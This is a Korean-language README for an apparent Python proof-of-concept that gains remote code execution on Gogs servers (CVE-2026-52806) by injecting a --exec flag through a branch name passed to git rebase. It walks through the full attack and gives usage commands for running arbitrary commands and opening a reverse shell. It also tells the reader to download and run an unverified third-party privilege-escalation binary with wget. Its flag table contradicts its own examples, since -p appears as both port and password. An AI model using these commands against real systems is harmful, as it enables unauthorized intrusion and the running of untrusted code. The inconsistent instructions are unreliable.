
git rebase의 인자 주입을 통한 Gogs RCE (CWE-88) — Python PoC. CVE-2026-52806
git rebase 인수 주입 (CWE-88)Gogs(<= 0.14.2 및 0.15.0+dev)에서 풀 리퀘스트 병합 흐름의 인수 주입을 통한 인증된 원격 코드 실행.
CVE-2026-52806
internal/database/pull.go의 Merge() 함수는 PR 베이스 브랜치 이름을 git rebase에 -- 구분자 없이 전달합니다. --exec=<COMMAND>라는 이름의 브랜치는 Git에서 위치 인수 대신 --exec 플래그로 해석되며, 리베이스 중 재생된 각 커밋 후에 sh -c <COMMAND>가 실행됩니다.
?v= 매개변수를 통해 버전을 식별하며, 사용자 등록이 열려 있는지, 캡차로 보호되는지, 비활성화되었는지 확인합니다.-u <username> -pw <password>로 다시 실행하라는 메시지를 출력합니다. Basic auth 또는 웹 설정 페이지를 통해 API 토큰을 생성합니다.master 브랜치feature-* 브랜치--exec=sh${IFS}.payload라는 이름의 악성 브랜치--exec= 브랜치로 PR을 엽니다.merge_style=rebase_before_merging으로 병합 엔드포인트에 POST를 보냅니다. Gogs는 내부적으로 git rebase --exec=sh${IFS}.payload를 실행하여 재생된 각 커밋 후에 페이로드를 실행합니다.requests (pip install requests)git 설치python3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
보고 내용:
Registration: ENABLED (no captcha) — 자동 등록 가능Registration: ENABLED (CAPTCHA DETECTED) — 대상의 가입 페이지에서 수동으로 계정을 만든 후 -u / -pw로 자격 증명 제공Registration: DISABLED — 관리자의 기존 자격 증명 필요# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
대상에서 셸을 획득하면 Gogs 프로세스는 일반적으로 낮은 권한의 사용자(예: Docker의 git)로 실행됩니다. root로 권한 상승을 시도하려면 프로젝트의 릴리스 페이지에서 lpe-toolkit 바이너리를 다운로드하여 실행하세요:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
이 툴킷은 커널 익스플로잇, 잘못된 설정 및 기타 일반적인 권한 상승 벡터를 열거합니다.
exploit/multi/http/gogs_rebase_rce
Jonah Burgess(CryptoCat) 작성
(PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)이 Python PoC는 공개된 Metasploit 모듈에서 영감을 받았습니다. 이 취약점은 Rapid7의 Jonah Burgess(CryptoCat)가 발견하여 책임 있게 공개했습니다.
이 도구는 교육 목적과 승인된 보안 테스트에만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 이 소프트웨어로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
Gogs API는 토큰 삭제를 지원하지 않으므로 익스플로잇 중에 생성된 모든 API 액세스 토큰은 유지되며 대상 인스턴스의 /user/settings/applications에서 수동으로 제거해야 합니다.
| Flag | 설명 |
|---|
target | 호스트[:포트] (예: 47.109.58.140:9000) |
-p, --port | HTTP 포트 (기본값: 3000) |
-u, --username | Gogs 사용자 이름 |
-pw, --password | Gogs 비밀번호 |
--cookie | 세션 쿠키 문자열 |
--cmd | 대상에서 실행할 명령 |
--listener | 리버스 셸 host:port |
--lhost / --lport | 리버스 셸 호스트 및 포트 |
--ssl | HTTPS 사용 |
--preflight-only | 사전 점검만 실행 |